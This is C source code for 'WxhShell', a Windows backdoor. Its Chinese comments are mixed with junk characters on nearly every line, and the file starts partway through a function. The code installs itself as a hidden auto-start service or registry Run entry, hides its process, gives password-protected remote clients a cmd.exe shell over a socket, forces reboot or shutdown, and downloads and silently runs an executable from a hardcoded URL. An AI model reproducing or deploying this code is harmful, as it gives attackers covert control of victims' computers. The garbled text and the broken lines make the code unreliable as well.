    if(Boot(SHUTDOWN)) sy(.p^Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]L k- -\  
    else { e?KzT5j:  
    closesocket(wsh); qsYg%Z  
    ExitThread(0); DyUS^iz~o  
    } Q$Sp'  
    break; p?4,YV|#  
    } *y|zF6  
  // 获取shell A,?6|g`q'  
  case 's': { {r#uD5NJ/  
    CmdShell(wsh); Q&w"!N  
    closesocket(wsh); l.BiE<&  
    ExitThread(0); Ieh<|O,-C  
    break; UsdMCJ&G  
  } 5eM{>qr}  
  // 退出 `yC[Fn"E^  
  case 'x': { HNLr} Yj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~1nKL0C6u  
    CloseIt(wsh); FyNm1QNy^  
    break; x-b}S1@  
    } @yF >=5z:  
  // 离开 blkPsp)m"  
  case 'q': { m\MI 6/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ou+bce  
    closesocket(wsh); i*T -9IP  
    WSACleanup(); AN)r(86L  
    exit(1); u>*qDr* d  
    break; "1 UpoF'w  
        } NIp]n[ =.q  
  } (g1Op~EM  
  } 6!([Hu#= *  
G[{Av5g mx  
  // 提示信息 >1` '5A}s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :G &:v  
} _.I58r  
  } dt/-0~U  
"@t bm[  
  return; &%u m#XE  
} n"@){:{4?  
Y3SV6""y/  
// shell模块句柄 #];ulDq  
int CmdShell(SOCKET sock) A f}o/g  
{ |<uBJ-5  
STARTUPINFO si; g@Rs.Zq  
ZeroMemory(&si,sizeof(si)); 7JBr{3;eS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {e0(M*u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z|zEsDh;  
PROCESS_INFORMATION ProcessInfo; Q(4~r+  
char cmdline[]="cmd";  %\~U>3Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); . "7-f]!  
  return 0; _v++NyZXx  
} tqjjn5!  
01NP  
// 自身启动模式 >4os%T  
int StartFromService(void) ,V{Bpr  
{ -C* 6>$A  
typedef struct uavyms^  
{ {`(MK6D8 c  
  DWORD ExitStatus; s|X_:3\x  
  DWORD PebBaseAddress; ant2];0p  
  DWORD AffinityMask; #c~- 8=  
  DWORD BasePriority; l8e)|MSh  
  ULONG UniqueProcessId; ";DozPU  
  ULONG InheritedFromUniqueProcessId; p$` ^A  
}   PROCESS_BASIC_INFORMATION; ]@}o"Td  
t. DnF[  
PROCNTQSIP NtQueryInformationProcess; }ktK*4<k  
3ug~m-_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _nSEp >]L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >~tx8aI{  
qx*N-,M%k(  
  HANDLE             hProcess; AtxC(g m 1  
  PROCESS_BASIC_INFORMATION pbi; 4M+f#b1  
sejT] rJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4JXJ0T ar  
  if(NULL == hInst ) return 0; z 0F55<i  
nswhYSX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bj\Us$cZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b`f6(6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2-@t,T  
;Zn&Nc7  
  if (!NtQueryInformationProcess) return 0; :)FNhx3  
:z6?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +]0hSpZ"p  
  if(!hProcess) return 0; }9FWtXAU^1  
D[4%CQ1m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ] v:"    
fA=Lb^,M  
  CloseHandle(hProcess); ezri9\Ju  
Q5_,`r`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 15%6;K?b  
if(hProcess==NULL) return 0; w{N8Y ~O  
Pon0(:#1  
HMODULE hMod; V}Oz!  O  
char procName[255]; KIKIag#  
unsigned long cbNeeded; ^==Tv+T9U  
'z@]hm#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -lXQQ#V -  
<vu~EY0.  
  CloseHandle(hProcess); `, 4YPjk^  
2EO9IxIf  
if(strstr(procName,"services")) return 1; // 以服务启动 ce719n$   
l_,6<wWp  
  return 0; // 注册表启动 D&]xKx  
} @gQ?cU7  
/AY q^  
// 主模块 K <WowU  
int StartWxhshell(LPSTR lpCmdLine) =l6W O*  
{ ,'sDauFn  
  SOCKET wsl; _ozg=n2(  
BOOL val=TRUE; /nEK|.j  
  int port=0; ]/AU_&  
  struct sockaddr_in door; kV3LFPf>0  
jaMpi^C  
  if(wscfg.ws_autoins) Install(); m~&>+q ^7  
` M-  
port=atoi(lpCmdLine); M. _5mZ{  
llCE}Vdh  
if(port<=0) port=wscfg.ws_port; (&, E}{p9  
x}x)h3e  
  WSADATA data; )*7{%Ilq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4`7~~:W!M5  
$XKUw"%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `V.tqZF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?DnQU"_$  
  door.sin_family = AF_INET; ~bis!(}p-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >4HB~9dKU  
  door.sin_port = htons(port); ]{I>HA5[  
y{XNB}E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ucbtPTFYvr  
closesocket(wsl); 8 -w|~y';  
return 1; tA9Ew{3s  
} FRQkD%k  
.mOm@<Xdg  
  if(listen(wsl,2) == INVALID_SOCKET) { Oo ^ AE  
closesocket(wsl); qR , 5  
return 1; 1k"i"kRM  
} vi[~Qt  
  Wxhshell(wsl); h,K&R8S  
  WSACleanup(); pTJ_DH  
)5Cqyp~P  
return 0; ol`q7i.  
&?gcnMg$,J  
} Cq-99@&;  
Eok8+7g0&  
// 以NT服务方式启动 z_8Bl2tl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =CL,+  
{ Z$35`:x&h  
DWORD   status = 0; w2U]RI\?2  
  DWORD   specificError = 0xfffffff; <Zh\6*3:ab  
]*0t?'go'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9>_VU"T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,3)JZM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r 2{7h>  
  serviceStatus.dwWin32ExitCode     = 0; ]HRHF'4  
  serviceStatus.dwServiceSpecificExitCode = 0; DvA#zX[  
  serviceStatus.dwCheckPoint       = 0; P#;pQC  
  serviceStatus.dwWaitHint       = 0; kjSzu qB  
z,VXH ?.Zo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 77 ?TRC  
  if (hServiceStatusHandle==0) return; sr~VvciIy  
% 5BSXAc  
status = GetLastError(); C3 m_sv#e  
  if (status!=NO_ERROR) Gr3 q  
{ DG3Mcf@5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ADMeOdgca  
    serviceStatus.dwCheckPoint       = 0; Q0Gfwl  
    serviceStatus.dwWaitHint       = 0; c{T)31ldW  
    serviceStatus.dwWin32ExitCode     = status; IY?o \vC  
    serviceStatus.dwServiceSpecificExitCode = specificError; bf\ Uq<&IJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !'>#!S~h3  
    return; ~fO#En  
  } d 5h x%M  
~{6}SXp4U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )F0Q2P1I  
  serviceStatus.dwCheckPoint       = 0; B\`${O(  
  serviceStatus.dwWaitHint       = 0; cL"Ral-qB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bnE&-N*  
} LI"N^K'z  
/4+*!X  
// 处理NT服务事件,比如:启动、停止 M@0S*[O{"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )EN ,Ry  
{ 26j-1c!NGd  
switch(fdwControl) gX* &RsF  
{ 4@-Wp]  
case SERVICE_CONTROL_STOP: 3V]psZS  
  serviceStatus.dwWin32ExitCode = 0; 1+tPd7U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^SwU]e  
  serviceStatus.dwCheckPoint   = 0; ikPr>  
  serviceStatus.dwWaitHint     = 0; 7 S%`]M4;  
  { % <h2^H\O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V. o*`V  
  } ldG$hk'  
  return; w *o _s  
case SERVICE_CONTROL_PAUSE: **ls 4CE<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AP?m,nd6  
  break; ?W&ajH_T  
case SERVICE_CONTROL_CONTINUE: e"2x!(&n(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <(us(zbk]  
  break; \/r]Ra  
case SERVICE_CONTROL_INTERROGATE: I#zL-RXT  
  break; E7]a#  
}; (. ,{x)H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >SD?MW 1E  
} v\XO?UEJ2  
1ay{uU!EL  
// 标准应用程序主函数 L-e6^%eU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vNU[K%U  
{ _cbXzSYq&  
D6EqJ,~  
// 获取操作系统版本 W#9LK Jj  
OsIsNt=GetOsVer(); /NVyzM51V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WVL\|y728s  
57$/Dn  
  // 从命令行安装 g;y*F;0@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5WtI.7r  
iM]&ryGB#  
  // 下载执行文件 QmsS,Zljo  
if(wscfg.ws_downexe) { jgw+c3^R_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?gXdi<2Qn  
  WinExec(wscfg.ws_filenam,SW_HIDE);  V#+J4   
} f:9qId ;/M  
L!2Ef4,wAz  
if(!OsIsNt) { \(1WLP$2U  
// 如果时win9x,隐藏进程并且设置为注册表启动 M5]$w]Ny9  
HideProc(); 5eas^Rm  
StartWxhshell(lpCmdLine); J {\]ZPs  
} W1O m$S1  
else @h7 i;Ok  
  if(StartFromService()) }i\_`~  
  // 以服务方式启动 4Y@q.QP  
  StartServiceCtrlDispatcher(DispatchTable); r / L  
else zM'2opiUY  
  // 普通方式启动 gac/%_-HH7  
  StartWxhshell(lpCmdLine); 'Ub\8<HfJU  
m] @o1J  
return 0; TI3@/SB>  
} Q!W+vh  
W1UqvaR  
N3Z6o.k  
(m=F  
=========================================== BCr*GtR)W  
5OC3:%g  
SJ:Wr{ Or3  
<*$IZl6I  
&>hln<a>  
`mKK1x  
" 8#a2 kR<b  
$yMNdBI[  
#include <stdio.h> ;3sJ7%`v  
#include <string.h> x]:B3_qR  
#include <windows.h> B{Lcx~  
#include <winsock2.h> |JCn=v@  
#include <winsvc.h> P/dT;YhL  
#include <urlmon.h> "J3n_3+  
<t.  w(?  
#pragma comment (lib, "Ws2_32.lib") RSf*[2  
#pragma comment (lib, "urlmon.lib") l' a<k"  
/I q6'oo  
#define MAX_USER   100 // 最大客户端连接数 g U v`G  
#define BUF_SOCK   200 // sock buffer HQ3kxOT  
#define KEY_BUFF   255 // 输入 buffer +*$@ K'VL  
rcjj( C  
#define REBOOT     0   // 重启 `,FvYA"  
#define SHUTDOWN   1   // 关机 4i Z7BD  
|_wbxdq  
#define DEF_PORT   5000 // 监听端口 `"j_]  
Iy {&T#e"  
#define REG_LEN     16   // 注册表键长度 X FvPc  
#define SVC_LEN     80   // NT服务名长度 eX{Tyd{  
@{8SC~ha  
// 从dll定义API Qx[ nR/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C.{z+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n0=[N'Tw3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j;i7.B"[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,"4  
QgW4jIbx  
// wxhshell配置信息 iYzm<3n?  
struct WSCFG { OW8"7*irT  
  int ws_port;         // 监听端口 ?rv5Z^D'  
  char ws_passstr[REG_LEN]; // 口令 9vz"rHV  
  int ws_autoins;       // 安装标记, 1=yes 0=no GAcU8  MD  
  char ws_regname[REG_LEN]; // 注册表键名 {@`Z`h" N  
  char ws_svcname[REG_LEN]; // 服务名 +8q]O%B   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5TcirVO82  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +J%9%DqF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Klk[ h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fu#mMn0c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n/-d56  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KdkZ-.  
)I9Wa*I  
}; x-ShY&k  
{t<U:*n2  
// default Wxhshell configuration `$N AK  
struct WSCFG wscfg={DEF_PORT, L\H,cimN  
    "xuhuanlingzhe", +;wu_CQu  
    1, <Q? X'.  
    "Wxhshell", <YBA 7i  
    "Wxhshell", *ZA.O  
            "WxhShell Service", bcZ s+FOPd  
    "Wrsky Windows CmdShell Service", 0=Z_5.T>  
    "Please Input Your Password: ", D<*#. >  
  1, 66l$}+|Zzc  
  "http://www.wrsky.com/wxhshell.exe", xk8P4`;d$  
  "Wxhshell.exe" &+V|Ldh  
    }; vFGFFA/K}N  
kkE1CHY  
// 消息定义模块 7tr;adjs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <xQHb^:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w6[uM%fHG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #97w6,P+  
char *msg_ws_ext="\n\rExit."; f_GqJ7Gk]  
char *msg_ws_end="\n\rQuit."; 6@@J>S>  
char *msg_ws_boot="\n\rReboot..."; H{3A6fb<  
char *msg_ws_poff="\n\rShutdown..."; :If1zB)  
char *msg_ws_down="\n\rSave to "; wWR9dsB.;  
@9<MW  
char *msg_ws_err="\n\rErr!"; K\]ey;Bd  
char *msg_ws_ok="\n\rOK!"; 6?v)Hb}J%d  
hZ@Wl6FG;  
char ExeFile[MAX_PATH]; Fi^Q]9.@{  
int nUser = 0; @.Pe.\Z  
HANDLE handles[MAX_USER]; ?1u2P$d  
int OsIsNt; ]MXeWS(  
^}4=pkJ;s  
SERVICE_STATUS       serviceStatus; bl;C=n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ngoAFb  
e$+?l~  
// 函数声明 O0i[GCtP5  
int Install(void); gLef6q{}  
int Uninstall(void); { f@k2^  
int DownloadFile(char *sURL, SOCKET wsh); ?`%)3gx|  
int Boot(int flag); jP9)utEm6  
void HideProc(void); P}+-))J  
int GetOsVer(void); 8}kY^"*&X  
int Wxhshell(SOCKET wsl); I?mU_^no  
void TalkWithClient(void *cs); {]w @s7E  
int CmdShell(SOCKET sock); sA u ;i  
int StartFromService(void); Vg)]F+E  
int StartWxhshell(LPSTR lpCmdLine); RRGCO+)*  
^gpswhp 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *MFsq}\ $  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T 6g(,xPcL  
E%vG#  
// 数据结构和表定义 <|'C|J_!  
SERVICE_TABLE_ENTRY DispatchTable[] = cR+9^DzA  
{ 45;{tS.z,B  
{wscfg.ws_svcname, NTServiceMain}, CYZx/r<  
{NULL, NULL} ?=;dNS@i@  
}; OJL?[<I  
Qr4c':8  
// 自我安装 Gdd lB2L)x  
int Install(void) {-( B  
{ =gb.%a{R  
  char svExeFile[MAX_PATH]; p Rn vd|  
  HKEY key; pZ,P_?  
  strcpy(svExeFile,ExeFile); *hp3w  
W:^\Oe5&a  
// 如果是win9x系统,修改注册表设为自启动 %usy`4 2  
if(!OsIsNt) { jz_\B(m9%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mG!Rh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $DOBC@xxzT  
  RegCloseKey(key); [C]u!\(IF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =*aun&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #lM :BO  
  RegCloseKey(key); 6jiz$x  
  return 0; jMvWS71  
    } B|-E3v:f 4  
  } h<50jnH!  
} A7!=`yA$  
else { }l/ !thzC  
j`Xe0U<  
// 如果是NT以上系统,安装为系统服务 R&BbXSIDX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vt" 7[!O  
if (schSCManager!=0) ptXLWv`  
{ 4A_}:nU  
  SC_HANDLE schService = CreateService E5P?(5Nv  
  ( # 4AyA$t  
  schSCManager, c:Tw.WA  
  wscfg.ws_svcname, FbVdqO  
  wscfg.ws_svcdisp,  'mz _JM  
  SERVICE_ALL_ACCESS, $~<);dYu0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , at@B>Rb  
  SERVICE_AUTO_START, 1YmB2h[Z  
  SERVICE_ERROR_NORMAL, 0^Vc,\P?  
  svExeFile, rkdwGqG  
  NULL, 6^pddGIG  
  NULL, xG05OqKpE  
  NULL, YY (,H!  
  NULL, gQJy"f  
  NULL M4rOnIJ  
  ); k{3:$, b  
  if (schService!=0) 6_a42#  
  { hVe@:1og#  
  CloseServiceHandle(schService); \7QAk4I~  
  CloseServiceHandle(schSCManager); R<+K&_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]:B|_| H  
  strcat(svExeFile,wscfg.ws_svcname); jOppru5U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wD-(3ZVd4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aO9a G*9T  
  RegCloseKey(key); Z?H#=|U  
  return 0; ,ufB*[~  
    } 1k2+eI  
  } :?VM1!~ga  
  CloseServiceHandle(schSCManager); ;Zb+WGyj  
} IiG~l+V~  
} ^Tbw#x]2  
)E<<  
return 1; 1>$ fLbmkI  
} 6>! ;g'k  
ho#]i$b}f2  
// 自我卸载 _VFxzM9f  
int Uninstall(void) -z]v"gF?Px  
{ o7N3:)  
  HKEY key; [:geDk9O#'  
Tti]H9g_  
if(!OsIsNt) { N'nI ^=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] Ma2*E !p  
  RegDeleteValue(key,wscfg.ws_regname); $*ujX,}xG  
  RegCloseKey(key); zT[[WY4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ] 8sVXZ  
  RegDeleteValue(key,wscfg.ws_regname); K8{Ub  
  RegCloseKey(key); F2yc&mXyk  
  return 0; |kL^k{=zV  
  } ^Jb=&u$  
} wXv\[z L`  
} Hn%n>Bnl  
else { }v[*V   
z\Vu`Y z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^zPa^lo-  
if (schSCManager!=0) 85U')LY  
{ u%FG% j?C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &h.E B  
  if (schService!=0) ^NB @wuf7  
  { "wi=aV9j  
  if(DeleteService(schService)!=0) { )J&1uMp{  
  CloseServiceHandle(schService); FI1R7A  
  CloseServiceHandle(schSCManager); q(0V#kKC  
  return 0; (B@:0}>  
  } H tIl;E  
  CloseServiceHandle(schService); Fv \yhR  
  } w) o^?9T  
  CloseServiceHandle(schSCManager); \hpD  
}  GU99!.$  
} 6@`Y6>}$_  
xy>~ 15  
return 1; Zvd^<SP<?  
} ;0Yeo"-  
5I ,5da  
// 从指定url下载文件 bKsl'3~ k  
int DownloadFile(char *sURL, SOCKET wsh) .l$'%AG:~  
{ dALJlRo"  
  HRESULT hr; P!q U8AJkt  
char seps[]= "/"; <^?64  
char *token; rWKc,A[  
char *file; Zi47)8  
char myURL[MAX_PATH]; |7Z7_YWs  
char myFILE[MAX_PATH]; (J(JB}[X,  
f(Q-W6  
strcpy(myURL,sURL); KD9Y  
  token=strtok(myURL,seps); ~C6Qp`VF  
  while(token!=NULL) ]K'iCYY  
  { "f|\":\  
    file=token; *i#m5f}  
  token=strtok(NULL,seps); \M>}-j`v  
  } 3-4' x2   
MsMNP[-l  
GetCurrentDirectory(MAX_PATH,myFILE); ^v. ~FFK  
strcat(myFILE, "\\"); X(F 2 5  
strcat(myFILE, file); H~1&hF"d  
  send(wsh,myFILE,strlen(myFILE),0); -g'[1  
send(wsh,"...",3,0); pj.}VF!d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B d$i%.r  
  if(hr==S_OK) 1A;>@4iC0  
return 0; ;C=C`$Q  
else tZR%s  
return 1; :d7Ju.*J  
`N%q^f~  
} ^<fN  
oTj9/r  
// 系统电源模块 d4h1#MK  
int Boot(int flag) n gA&PU  
{ swv 1>52{  
  HANDLE hToken; {] 1+01vI-  
  TOKEN_PRIVILEGES tkp; |IL..C  
`!<RP'  
  if(OsIsNt) { %dMq'j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0q`n]NM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .du FMJl  
    tkp.PrivilegeCount = 1; 5}FPqyK"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X_Vj&{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W%@L7xh  
if(flag==REBOOT) { ^nn3;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W$=MuF7R  
  return 0; ndEW$?W,  
} 1PLxc)LsG  
else { < &[=,R0 @  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FZTBvdUYp  
  return 0; {R b|";  
} 2aiZ  
  } yD6lzuk{X  
  else { uY+N163i  
if(flag==REBOOT) { NMYkEz(&R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N0EJHS,>e  
  return 0; N<V,5  
} s,Uc cA@  
else { cTf/B=yMi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6|*em4  
  return 0; gZQ,br*  
} M$j]VZ  
} _<x4/".}B3  
zb/w^~J_i  
return 1; (orO=gST-/  
} S'"(zc3 =  
__jFSa`at  
// win9x进程隐藏模块 ~Y^ UP  
void HideProc(void) L=zt\L  
{ e >W}3H5w0  
zRDBl02v$T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^DZ(T+q,  
  if ( hKernel != NULL ) #?h#R5:0  
  { =bm<>h7.)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z>HeM Mei  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N- E)b  
    FreeLibrary(hKernel); S7SD$+fX  
  } $agd9z,&m  
noz&4"S.{  
return; @ m14x}H  
} ki`7S  
"Xq.b"N{*  
// 获取操作系统版本 M5DW!^  
int GetOsVer(void) <=KtRE>$  
{ 595P04  
  OSVERSIONINFO winfo; J6}J/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NIn#  
  GetVersionEx(&winfo);  Qx,jUL#2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dk&@AjJga  
  return 1; ?`%7Y~  
  else >*v!2=  
  return 0; ~x`BV+R  
} afEhC0j  
e-vwve  
// 客户端句柄模块 tjw4.L<r  
int Wxhshell(SOCKET wsl) 9L+dN%C  
{ z& !n'N<C  
  SOCKET wsh; (9bFIvMc  
  struct sockaddr_in client; bL>J0LWQ  
  DWORD myID; k!Y7 Rc{"  
D,Ft*(|T  
  while(nUser<MAX_USER) zX+NhTTB  
{ [43:E*\$  
  int nSize=sizeof(client); ^F @z +q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /DPD,bA  
  if(wsh==INVALID_SOCKET) return 1; d\Q~L 3x  
3=( Gb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (gd+-o4  
if(handles[nUser]==0) hVPSW# .d  
  closesocket(wsh); uH'n.d"WG  
else 6J3:[7k=&  
  nUser++; jr$]kLY  
  } ~3YN;St-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :sD/IM",},  
hiKgV|ZD  
  return 0; A1`y_ Aj  
} =<nx [J  
7VWq8FH`  
// 关闭 socket A|!u`^p  
void CloseIt(SOCKET wsh) |> mx*G  
{ WVPnyVDc  
closesocket(wsh);  XI+m  
nUser--; uh`W} n  
ExitThread(0); cfn\De%.  
} rv/O^aL`Y  
8 /3`rEW  
// 客户端请求句柄 58FjzW  
void TalkWithClient(void *cs) ~s_n\r&23  
{ 59eq"08  
P{qi>FJqe  
  SOCKET wsh=(SOCKET)cs; 4RgEN!d?H  
  char pwd[SVC_LEN]; i@7b  
  char cmd[KEY_BUFF]; iY @MnnX  
char chr[1]; nqX)+{wAXe  
int i,j; zqqu7.`  
vMBF7Jfx  
  while (nUser < MAX_USER) { ?2D1gjr  
k)+2+hX&>  
if(wscfg.ws_passstr) { q$>/~aVM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F2QX ^*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &gdtI  
  //ZeroMemory(pwd,KEY_BUFF); )%e`SGmp  
      i=0; 2u0C ~s  
  while(i<SVC_LEN) { zNe>fZ  
6wk/IJ`  
  // 设置超时 7v9l+OX,6  
  fd_set FdRead; QH:PClW![  
  struct timeval TimeOut; u(W%snl  
  FD_ZERO(&FdRead); Q2wEt >0a  
  FD_SET(wsh,&FdRead); [se J'Io  
  TimeOut.tv_sec=8; VFUuG3p)  
  TimeOut.tv_usec=0; N 2|?I(\B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cB~D3a0Th  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lCmTm  
SyHS9>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <w@ziUr  
  pwd=chr[0]; :Osw4u]JXd  
  if(chr[0]==0xd || chr[0]==0xa) { [kfLT::mT  
  pwd=0; >s3H_X3F  
  break; e !_+TyI  
  } 0 t.'?=  
  i++; O>P792)  
    } )TNAgTmqK  
@f<q&K%FJ  
  // 如果是非法用户,关闭 socket 9b KK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); obYXDj2  
} 2)O-EAn  
pwq a/Yi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w}*2Hz&Q!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  j6zZ! k  
1:2 t4}  
while(1) { "AH1)skB:  
)2 E7>SQc~  
  ZeroMemory(cmd,KEY_BUFF); ruMS5OqM  
3@'3U?Hin  
      // 自动支持客户端 telnet标准   }u"iA^'Ot  
  j=0; <[7 bUB  
  while(j<KEY_BUFF) { _ ^5w f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qrr8i:Y^  
  cmd[j]=chr[0]; I$Z8]&m  
  if(chr[0]==0xa || chr[0]==0xd) { ANuIPF4NxP  
  cmd[j]=0; udCum4  
  break; P.G`ED|K!Y  
  } ,Mt/*^|  
  j++; 07L >@Gf  
    } Qx$C oY  
@9yY`\"ed  
  // 下载文件 9 F"2$;  
  if(strstr(cmd,"http://")) { XE/K|o^Hp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?!PpooYK  
  if(DownloadFile(cmd,wsh)) zT;F4_p3G-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +k@$C,A  
  else pDW4DF:`(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $w,&h:.p  
  } ]xO`c  
  else { +Usy  
|7 .WP;1  
    switch(cmd[0]) { JA .J~3  
  v;!f  
